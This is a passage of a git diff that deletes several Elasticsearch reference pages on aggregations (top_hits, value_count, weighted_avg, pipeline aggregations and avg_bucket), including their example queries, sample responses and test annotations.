-* `sort` - How the top matching hits should be sorted. By default the hits are sorted by the score of the main query.
-
-==== Supported per hit features
-
-The top_hits aggregation returns regular search hits, because of this many per hit features can be supported:
-
-* <<highlighting,Highlighting>>
-* <<request-body-search-explain,Explain>>
-* <<named-queries,Named queries>>
-* <<search-fields-param,Search fields>>
-* <<source-filtering,Source filtering>>
-* <<stored-fields,Stored fields>>
-* <<script-fields,Script fields>>
-* <<docvalue-fields,Doc value fields>>
-* <<request-body-search-version,Include versions>>
-* <<request-body-search-seq-no-primary-term,Include Sequence Numbers and Primary Terms>>
-
-IMPORTANT: If you *only* need `docvalue_fields`, `size`, and `sort` then
-<<search-aggregations-metrics-top-metrics>> might be a more efficient choice than the Top Hits Aggregation.
-
-`top_hits` does not support the <<rescore,`rescore`>> parameter. Query rescoring
-applies only to search hits, not aggregation results. To change the scores used
-by aggregations, use a <<query-dsl-function-score-query,`function_score`>> or
-<<query-dsl-script-score-query,`script_score`>> query.
-
-==== Example
-
-In the following example we group the sales by type and per type we show the last sale.
-For each sale only the date and price fields are being included in the source.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "top_tags": {
-      "terms": {
-        "field": "type",
-        "size": 3
-      },
-      "aggs": {
-        "top_sales_hits": {
-          "top_hits": {
-            "sort": [
-              {
-                "date": {
-                  "order": "desc"
-                }
-              }
-            ],
-            "_source": {
-              "includes": [ "date", "price" ]
-            },
-            "size": 1
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Possible response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "top_tags": {
-       "doc_count_error_upper_bound": 0,
-       "sum_other_doc_count": 0,
-       "buckets": [
-          {
-             "key": "hat",
-             "doc_count": 3,
-             "top_sales_hits": {
-                "hits": {
-                   "total" : {
-                       "value": 3,
-                       "relation": "eq"
-                   },
-                   "max_score": null,
-                   "hits": [
-                      {
-                         "_index": "sales",
-                         "_type": "_doc",
-                         "_id": "AVnNBmauCQpcRyxw6ChK",
-                         "_source": {
-                            "date": "2015/03/01 00:00:00",
-                            "price": 200
-                         },
-                         "sort": [
-                            1425168000000
-                         ],
-                         "_score": null
-                      }
-                   ]
-                }
-             }
-          },
-          {
-             "key": "t-shirt",
-             "doc_count": 3,
-             "top_sales_hits": {
-                "hits": {
-                   "total" : {
-                       "value": 3,
-                       "relation": "eq"
-                   },
-                   "max_score": null,
-                   "hits": [
-                      {
-                         "_index": "sales",
-                         "_type": "_doc",
-                         "_id": "AVnNBmauCQpcRyxw6ChL",
-                         "_source": {
-                            "date": "2015/03/01 00:00:00",
-                            "price": 175
-                         },
-                         "sort": [
-                            1425168000000
-                         ],
-                         "_score": null
-                      }
-                   ]
-                }
-             }
-          },
-          {
-             "key": "bag",
-             "doc_count": 1,
-             "top_sales_hits": {
-                "hits": {
-                   "total" : {
-                       "value": 1,
-                       "relation": "eq"
-                   },
-                   "max_score": null,
-                   "hits": [
-                      {
-                         "_index": "sales",
-                         "_type": "_doc",
-                         "_id": "AVnNBmatCQpcRyxw6ChH",
-                         "_source": {
-                            "date": "2015/01/01 00:00:00",
-                            "price": 150
-                         },
-                         "sort": [
-                            1420070400000
-                         ],
-                         "_score": null
-                      }
-                   ]
-                }
-             }
-          }
-       ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-// TESTRESPONSE[s/AVnNBmauCQpcRyxw6ChK/$body.aggregations.top_tags.buckets.0.top_sales_hits.hits.hits.0._id/]
-// TESTRESPONSE[s/AVnNBmauCQpcRyxw6ChL/$body.aggregations.top_tags.buckets.1.top_sales_hits.hits.hits.0._id/]
-// TESTRESPONSE[s/AVnNBmatCQpcRyxw6ChH/$body.aggregations.top_tags.buckets.2.top_sales_hits.hits.hits.0._id/]
-
-
-==== Field collapse example
-
-Field collapsing or result grouping is a feature that logically groups a result set into groups and per group returns
-top documents. The ordering of the groups is determined by the relevancy of the first document in a group. In
-Elasticsearch this can be implemented via a bucket aggregator that wraps a `top_hits` aggregator as sub-aggregator.
-
-In the example below we search across crawled webpages. For each webpage we store the body and the domain the webpage
-belong to. By defining a `terms` aggregator on the `domain` field we group the result set of webpages by domain. The
-`top_hits` aggregator is then defined as sub-aggregator, so that the top matching hits are collected per bucket.
-
-Also a `max` aggregator is defined which is used by the `terms` aggregator's order feature to return the buckets by
-relevancy order of the most relevant document in a bucket.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "query": {
-    "match": {
-      "body": "elections"
-    }
-  },
-  "aggs": {
-    "top_sites": {
-      "terms": {
-        "field": "domain",
-        "order": {
-          "top_hit": "desc"
-        }
-      },
-      "aggs": {
-        "top_tags_hits": {
-          "top_hits": {}
-        },
-        "top_hit" : {
-          "max": {
-            "script": {
-              "source": "_score"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-At the moment the `max` (or `min`) aggregator is needed to make sure the buckets from the `terms` aggregator are
-ordered according to the score of the most relevant webpage per domain. Unfortunately the `top_hits` aggregator
-can't be used in the `order` option of the `terms` aggregator yet.
-
-==== top_hits support in a nested or reverse_nested aggregator
-
-If the `top_hits` aggregator is wrapped in a `nested` or `reverse_nested` aggregator then nested hits are being returned.
-Nested hits are in a sense hidden mini documents that are part of regular document where in the mapping a nested field type
-has been configured. The `top_hits` aggregator has the ability to un-hide these documents if it is wrapped in a `nested`
-or `reverse_nested` aggregator. Read more about nested in the <<nested,nested type mapping>>.
-
-If nested type has been configured a single document is actually indexed as multiple Lucene documents and they share
-the same id. In order to determine the identity of a nested hit there is more needed than just the id, so that is why
-nested hits also include their nested identity. The nested identity is kept under the `_nested` field in the search hit
-and includes the array field and the offset in the array field the nested hit belongs to. The offset is zero based.
-
-Let's see how it works with a real sample. Considering the following mapping:
-
-[source,console]
---------------------------------------------------
-PUT /sales
-{
-  "mappings": {
-    "properties": {
-      "tags": { "type": "keyword" },
-      "comments": {                           <1>
-        "type": "nested",
-        "properties": {
-          "username": { "type": "keyword" },
-          "comment": { "type": "text" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `comments` is an array that holds nested documents under the `product` object.
-
-And some documents:
-
-[source,console]
---------------------------------------------------
-PUT /sales/_doc/1?refresh
-{
-  "tags": [ "car", "auto" ],
-  "comments": [
-    { "username": "baddriver007", "comment": "This car could have better brakes" },
-    { "username": "dr_who", "comment": "Where's the autopilot? Can't find it" },
-    { "username": "ilovemotorbikes", "comment": "This car has two extra wheels" }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-It's now possible to execute the following `top_hits` aggregation (wrapped in a `nested` aggregation):
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "query": {
-    "term": { "tags": "car" }
-  },
-  "aggs": {
-    "by_sale": {
-      "nested": {
-        "path": "comments"
-      },
-      "aggs": {
-        "by_user": {
-          "terms": {
-            "field": "comments.username",
-            "size": 1
-          },
-          "aggs": {
-            "by_nested": {
-              "top_hits": {}
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/_search/_search\?filter_path=aggregations.by_sale.by_user.buckets/]
-
-Top hits response snippet with a nested hit, which resides in the first slot of array field `comments`:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "by_sale": {
-      "by_user": {
-        "buckets": [
-          {
-            "key": "baddriver007",
-            "doc_count": 1,
-            "by_nested": {
-              "hits": {
-                "total" : {
-                   "value": 1,
-                   "relation": "eq"
-                },
-                "max_score": 0.3616575,
-                "hits": [
-                  {
-                    "_index": "sales",
-                    "_type" : "_doc",
-                    "_id": "1",
-                    "_nested": {
-                      "field": "comments",  <1>
-                      "offset": 0 <2>
-                    },
-                    "_score": 0.3616575,
-                    "_source": {
-                      "comment": "This car could have better brakes", <3>
-                      "username": "baddriver007"
-                    }
-                  }
-                ]
-              }
-            }
-          }
-          ...
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-<1> Name of the array field containing the nested hit
-<2> Position if the nested hit in the containing array
-<3> Source of the nested hit
-
-If `_source` is requested then just the part of the source of the nested object is returned, not the entire source of the document.
-Also stored fields on the *nested* inner object level are accessible via `top_hits` aggregator residing in a `nested` or `reverse_nested` aggregator.
-
-Only nested hits will have a `_nested` field in the hit, non nested (regular) hits will not have a `_nested` field.
-
-The information in `_nested` can also be used to parse the original source somewhere else if `_source` isn't enabled.
-
-If there are multiple levels of nested object types defined in mappings then the `_nested` information can also be hierarchical
-in order to express the identity of nested hits that are two layers deep or more.
-
-In the example below a nested hit resides in the first slot of the field `nested_grand_child_field` which then resides in
-the second slow of the `nested_child_field` field:
-
-[source,js]
---------------------------------------------------
-...
-"hits": {
- "total" : {
-     "value": 2565,
-     "relation": "eq"
- },
- "max_score": 1,
- "hits": [
-   {
-     "_index": "a",
-     "_type": "b",
-     "_id": "1",
-     "_score": 1,
-     "_nested" : {
-       "field" : "nested_child_field",
-       "offset" : 1,
-       "_nested" : {
-         "field" : "nested_grand_child_field",
-         "offset" : 0
-       }
-     }
-     "_source": ...
-   },
-   ...
- ]
-}
-...
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc b/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc
deleted file mode 100644
index 8895ecae60c..00000000000
--- a/docs/reference/aggregations/metrics/valuecount-aggregation.asciidoc
+++ /dev/null
@@ -1,142 +0,0 @@
-[[search-aggregations-metrics-valuecount-aggregation]]
-=== Value count aggregation
-++++
-<titleabbrev>Value count</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that counts the number of values that are extracted from the aggregated documents.
-These values can be extracted either from specific fields in the documents, or be generated by a provided script. Typically,
-this aggregator will be used in conjunction with other single-value aggregations. For example, when computing the `avg`
-one might be interested in the number of values the average is computed over.
-
-`value_count` does not de-duplicate values, so even if a field has duplicates (or a script generates multiple
-identical values for a single document), each value will be counted individually.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs" : {
-    "types_count" : { "value_count" : { "field" : "type" } }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "types_count": {
-      "value": 7
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The name of the aggregation (`types_count` above) also serves as the key by which the aggregation result can be
-retrieved from the returned response.
-
-==== Script
-
-Counting the values generated by a script:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "type_count": {
-      "value_count": {
-        "script": {
-          "source": "doc['type'].value"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-This will interpret the `script` parameter as an `inline` script with the `painless` script language and no script parameters. To use a stored script use the following syntax:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "types_count": {
-      "value_count": {
-        "script": {
-          "id": "my_script",
-          "params": {
-            "field": "type"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales,stored_example_script]
-
-NOTE:: Because `value_count` is designed to work with any field it internally treats all values as simple bytes.
-Due to this implementation, if `_value` script variable is used to fetch a value instead of accessing the field
-directly (e.g. a "value script"), the field value will be returned as a string instead of it's native format.
-
-[[search-aggregations-metrics-valuecount-aggregation-histogram-fields]]
-==== Histogram fields
-When the `value_count` aggregation is computed on <<histogram,histogram fields>>, the result of the aggregation is the sum of all numbers
-in the `counts` array of the histogram.
-
-For example, for the following index that stores pre-aggregated histograms with latency metrics for different networks:
-
-[source,console]
---------------------------------------------------
-PUT metrics_index/_doc/1
-{
-  "network.name" : "net-1",
-  "latency_histo" : {
-      "values" : [0.1, 0.2, 0.3, 0.4, 0.5],
-      "counts" : [3, 7, 23, 12, 6] <1>
-   }
-}
-
-PUT metrics_index/_doc/2
-{
-  "network.name" : "net-2",
-  "latency_histo" : {
-      "values" :  [0.1, 0.2, 0.3, 0.4, 0.5],
-      "counts" : [8, 17, 8, 7, 6] <1>
-   }
-}
-
-POST /metrics_index/_search?size=0
-{
-  "aggs": {
-    "total_requests": {
-      "value_count": { "field": "latency_histo" }
-    }
-  }
-}
---------------------------------------------------
-
-For each histogram field the `value_count` aggregation will sum all numbers in the `counts` array <1>.
-Eventually, it will add all values for all histograms and return the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "total_requests": {
-      "value": 97
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:test not setup]
diff --git a/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc b/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc
deleted file mode 100644
index 6cc02b38dcb..00000000000
--- a/docs/reference/aggregations/metrics/weighted-avg-aggregation.asciidoc
+++ /dev/null
@@ -1,207 +0,0 @@
-[[search-aggregations-metrics-weight-avg-aggregation]]
-=== Weighted avg aggregation
-++++
-<titleabbrev>Weighted avg</titleabbrev>
-++++
-
-A `single-value` metrics aggregation that computes the weighted average of numeric values that are extracted from the aggregated documents.
-These values can be extracted either from specific numeric fields in the documents.
-
-When calculating a regular average, each datapoint has an equal "weight" ... it contributes equally to the final value.  Weighted averages,
-on the other hand, weight each datapoint differently.  The amount that each datapoint contributes to the final value is extracted from the
-document, or provided by a script.
-
-As a formula, a weighted average is the `∑(value * weight) / ∑(weight)`
-
-A regular average can be thought of as a weighted average where every value has an implicit weight of `1`.
-
-[[weighted-avg-params]]
-.`weighted_avg` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`value` | The configuration for the field or script that provides the values |Required |
-|`weight` | The configuration for the field or script that provides the weights |Required |
-|`format` | The numeric response formatter |Optional |
-|`value_type` | A hint about the values for pure scripts or unmapped fields |Optional |
-|===
-
-The `value` and `weight` objects have per-field specific configuration:
-
-[[value-params]]
-.`value` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`field` | The field that values should be extracted from |Required |
-|`missing` | A value to use if the field is missing entirely |Optional |
-|`script` | A script which provides the values for the document.  This is mutually exclusive with `field` |Optional
-|===
-
-[[weight-params]]
-.`weight` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`field` | The field that weights should be extracted from |Required |
-|`missing` | A weight to use if the field is missing entirely |Optional |
-|`script` | A script which provides the weights for the document.  This is mutually exclusive with `field` |Optional
-|===
-
-
-==== Examples
-
-If our documents have a `"grade"` field that holds a 0-100 numeric score, and a `"weight"` field which holds an arbitrary numeric weight,
-we can calculate the weighted average using:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "weighted_grade": {
-      "weighted_avg": {
-        "value": {
-          "field": "grade"
-        },
-        "weight": {
-          "field": "weight"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-Which yields a response like:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "weighted_grade": {
-      "value": 70.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-
-While multiple values-per-field are allowed, only one weight is allowed.  If the aggregation encounters
-a document that has more than one weight (e.g. the weight field is a multi-valued field) it will throw an exception.
-If you have this situation, you will need to specify a `script` for the weight field, and use the script
-to combine the multiple values into a single value to be used.
-
-This single weight will be applied independently to each value extracted from the `value` field.
-
-This example show how a single document with multiple values will be averaged with a single weight:
-
-[source,console]
---------------------------------------------------
-POST /exams/_doc?refresh
-{
-  "grade": [1, 2, 3],
-  "weight": 2
-}
-
-POST /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "weighted_grade": {
-      "weighted_avg": {
-        "value": {
-          "field": "grade"
-        },
-        "weight": {
-          "field": "weight"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST
-
-The three values (`1`, `2`, and `3`) will be included as independent values, all with the weight of `2`:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "weighted_grade": {
-      "value": 2.0
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-The aggregation returns `2.0` as the result, which matches what we would expect when calculating by hand:
-`((1*2) + (2*2) + (3*2)) / (2+2+2) == 2`
-
-==== Script
-
-Both the value and the weight can be derived from a script, instead of a field.  As a simple example, the following
-will add one to the grade and weight in the document using a script:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "weighted_grade": {
-      "weighted_avg": {
-        "value": {
-          "script": "doc.grade.value + 1"
-        },
-        "weight": {
-          "script": "doc.weight.value + 1"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
-
-==== Missing values
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-The default behavior is different for `value` and `weight`:
-
-By default, if the `value` field is missing the document is ignored and the aggregation moves on to the next document.
-If the `weight` field is missing, it is assumed to have a weight of `1` (like a normal average).
-
-Both of these defaults can be overridden with the `missing` parameter:
-
-[source,console]
---------------------------------------------------
-POST /exams/_search
-{
-  "size": 0,
-  "aggs": {
-    "weighted_grade": {
-      "weighted_avg": {
-        "value": {
-          "field": "grade",
-          "missing": 2
-        },
-        "weight": {
-          "field": "weight",
-          "missing": 3
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:exams]
-
diff --git a/docs/reference/aggregations/pipeline.asciidoc b/docs/reference/aggregations/pipeline.asciidoc
deleted file mode 100644
index b24a3080886..00000000000
--- a/docs/reference/aggregations/pipeline.asciidoc
+++ /dev/null
@@ -1,307 +0,0 @@
-[[search-aggregations-pipeline]]
-
-== Pipeline aggregations
-
-Pipeline aggregations work on the outputs produced from other aggregations rather than from document sets, adding
-information to the output tree. There are many different types of pipeline aggregation, each computing different information from
-other aggregations, but these types can be broken down into two families:
-
-_Parent_::
-                A family of pipeline aggregations that is provided with the output of its parent aggregation and is able
-                to compute new buckets or new aggregations to add to existing buckets.
-
-_Sibling_::
-                Pipeline aggregations that are provided with the output of a sibling aggregation and are able to compute a
-                new aggregation which will be at the same level as the sibling aggregation.
-
-Pipeline aggregations can reference the aggregations they need to perform their computation by using the `buckets_path`
-parameter to indicate the paths to the required metrics. The syntax for defining these paths can be found in the
-<<buckets-path-syntax, `buckets_path` Syntax>> section below.
-
-Pipeline aggregations cannot have sub-aggregations but depending on the type it can reference another pipeline in the `buckets_path`
-allowing pipeline aggregations to be chained.  For example, you can chain together two derivatives to calculate the second derivative
-(i.e. a derivative of a derivative).
-
-NOTE: Because pipeline aggregations only add to the output, when chaining pipeline aggregations the output of each pipeline aggregation
-will be included in the final output.
-
-[[buckets-path-syntax]]
-[discrete]
-=== `buckets_path` Syntax
-
-Most pipeline aggregations require another aggregation as their input.  The input aggregation is defined via the `buckets_path`
-parameter, which follows a specific format:
-
-// https://en.wikipedia.org/wiki/Extended_Backus%E2%80%93Naur_Form
-[source,ebnf]
---------------------------------------------------
-AGG_SEPARATOR       =  `>` ;
-METRIC_SEPARATOR    =  `.` ;
-AGG_NAME            =  <the name of the aggregation> ;
-METRIC              =  <the name of the metric (in case of multi-value metrics aggregation)> ;
-MULTIBUCKET_KEY     =  `[<KEY_NAME>]`
-PATH                =  <AGG_NAME><MULTIBUCKET_KEY>? (<AGG_SEPARATOR>, <AGG_NAME> )* ( <METRIC_SEPARATOR>, <METRIC> ) ;
---------------------------------------------------
-
-For example, the path `"my_bucket>my_stats.avg"` will path to the `avg` value in the `"my_stats"` metric, which is
-contained in the `"my_bucket"` bucket aggregation.
-
-Paths are relative from the position of the pipeline aggregation; they are not absolute paths, and the path cannot go back "up" the
-aggregation tree. For example, this moving average is embedded inside a date_histogram and refers to a "sibling"
-metric `"the_sum"`:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "timestamp",
-        "calendar_interval": "day"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "lemmings" } <1>
-        },
-        "the_movavg": {
-          "moving_avg": { "buckets_path": "the_sum" } <2>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-<1> The metric is called `"the_sum"`
-<2> The `buckets_path` refers to the metric via a relative path `"the_sum"`
-
-`buckets_path` is also used for Sibling pipeline aggregations, where the aggregation is "next" to a series of buckets
-instead of embedded "inside" them.  For example, the `max_bucket` aggregation uses the `buckets_path` to specify
-a metric embedded inside a sibling aggregation:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "max_monthly_sales": {
-      "max_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this max_bucket aggregation that we want the maximum value of the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-If a Sibling pipeline agg references a multi-bucket aggregation, such as a `terms` agg, it also has the option to
-select specific keys from the multi-bucket.  For example, a `bucket_script` could select two specific buckets (via
-their bucket keys) to perform the calculation:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sale_type": {
-          "terms": {
-            "field": "type"
-          },
-          "aggs": {
-            "sales": {
-              "sum": {
-                "field": "price"
-              }
-            }
-          }
-        },
-        "hat_vs_bag_ratio": {
-          "bucket_script": {
-            "buckets_path": {
-              "hats": "sale_type['hat']>sales",   <1>
-              "bags": "sale_type['bag']>sales"    <1>
-            },
-            "script": "params.hats / params.bags"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` selects the hats and bags buckets (via `['hat']`/`['bag']``) to use in the script specifically,
-instead of fetching all the buckets from `sale_type` aggregation
-
-[discrete]
-=== Special Paths
-
-Instead of pathing to a metric, `buckets_path` can use a special `"_count"` path.  This instructs
-the pipeline aggregation to use the document count as its input.  For example, a moving average can be calculated on the document count of each bucket, instead of a specific metric:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "timestamp",
-        "calendar_interval": "day"
-      },
-      "aggs": {
-        "the_movavg": {
-          "moving_avg": { "buckets_path": "_count" } <1>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-<1> By using `_count` instead of a metric name, we can calculate the moving average of document counts in the histogram
-
-The `buckets_path` can also use `"_bucket_count"` and path to a multi-bucket aggregation to use the number of buckets
-returned by that aggregation in the pipeline aggregation instead of a metric. for example a `bucket_selector` can be
-used here to filter out buckets which contain no buckets for an inner terms aggregation:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "day"
-      },
-      "aggs": {
-        "categories": {
-          "terms": {
-            "field": "category"
-          }
-        },
-        "min_bucket_selector": {
-          "bucket_selector": {
-            "buckets_path": {
-              "count": "categories._bucket_count" <1>
-            },
-            "script": {
-              "source": "params.count != 0"
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> By using `_bucket_count` instead of a metric name, we can filter out `histo` buckets where they contain no buckets
-for the `categories` aggregation
-
-[[dots-in-agg-names]]
-[discrete]
-=== Dealing with dots in agg names
-
-An alternate syntax is supported to cope with aggregations or metrics which
-have dots in the name, such as the ++99.9++th
-<<search-aggregations-metrics-percentile-aggregation,percentile>>. This metric
-may be referred to as:
-
-[source,js]
----------------
-"buckets_path": "my_percentile[99.9]"
----------------
-// NOTCONSOLE
-
-[[gap-policy]]
-[discrete]
-=== Dealing with gaps in the data
-
-Data in the real world is often noisy and sometimes contains *gaps* -- places where data simply doesn't exist.  This can
-occur for a variety of reasons, the most common being:
-
-* Documents falling into a bucket do not contain a required field
-* There are no documents matching the query for one or more buckets
-* The metric being calculated is unable to generate a value, likely because another dependent bucket is missing a value.
-Some pipeline aggregations have specific requirements that must be met (e.g. a derivative cannot calculate a metric for the
-first value because there is no previous value, HoltWinters moving average need "warmup" data to begin calculating, etc)
-
-Gap policies are a mechanism to inform the pipeline aggregation about the desired behavior when "gappy" or missing
-data is encountered.  All pipeline aggregations accept the `gap_policy` parameter.  There are currently two gap policies
-to choose from:
-
-_skip_::
-                This option treats missing data as if the bucket does not exist.  It will skip the bucket and continue
-                calculating using the next available value.
-
-_insert_zeros_::
-                This option will replace missing values with a zero (`0`) and pipeline aggregation computation will
-                proceed as normal.
-
-include::pipeline/avg-bucket-aggregation.asciidoc[]
-
-include::pipeline/bucket-script-aggregation.asciidoc[]
-
-include::pipeline/bucket-selector-aggregation.asciidoc[]
-
-include::pipeline/bucket-sort-aggregation.asciidoc[]
-
-include::pipeline/cumulative-cardinality-aggregation.asciidoc[]
-
-include::pipeline/cumulative-sum-aggregation.asciidoc[]
-
-include::pipeline/derivative-aggregation.asciidoc[]
-
-include::pipeline/extended-stats-bucket-aggregation.asciidoc[]
-
-include::pipeline/inference-bucket-aggregation.asciidoc[]
-
-include::pipeline/max-bucket-aggregation.asciidoc[]
-
-include::pipeline/min-bucket-aggregation.asciidoc[]
-
-include::pipeline/movavg-aggregation.asciidoc[]
-
-include::pipeline/movfn-aggregation.asciidoc[]
-
-include::pipeline/moving-percentiles-aggregation.asciidoc[]
-
-include::pipeline/normalize-aggregation.asciidoc[]
-
-include::pipeline/percentiles-bucket-aggregation.asciidoc[]
-
-include::pipeline/serial-diff-aggregation.asciidoc[]
-
-include::pipeline/stats-bucket-aggregation.asciidoc[]
-
-include::pipeline/sum-bucket-aggregation.asciidoc[]
diff --git a/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc
deleted file mode 100644
index 27ad8fbbe5e..00000000000
--- a/docs/reference/aggregations/pipeline/avg-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-[[search-aggregations-pipeline-avg-bucket-aggregation]]
-=== Avg bucket aggregation
-++++
-<titleabbrev>Avg bucket</titleabbrev>
-++++
-
-A sibling pipeline aggregation which calculates the (mean) average value of a specified metric in a sibling aggregation.
-The specified metric must be numeric and the sibling aggregation must be a multi-bucket aggregation.
-
-[[avg-bucket-agg-syntax]]
-==== Syntax
-
-An `avg_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "avg_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[avg-bucket-params]]
-.`avg_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the average for (see <<buckets-path-syntax>> for more
- details) |Required |
- |`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details) |Optional |`skip`
- |`format` |format to apply to the output value of this aggregation |Optional | `null`
-|===
-
-The following snippet calculates the average of the total monthly `sales`:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "avg_monthly_sales": {
-      "avg_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
-
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this avg_bucket aggregation that we want the (mean) average value of the `sales` aggregation in the
-`sales_per_month` date histogram.
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               }
-            }
-         ]
-      },
-      "avg_monthly_sales": {
-          "value": 328.33333333333333
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/bucket-script-aggregation.asciidoc b/docs/reference/aggregations/pipeline/bucket-script-aggregation.asciidoc
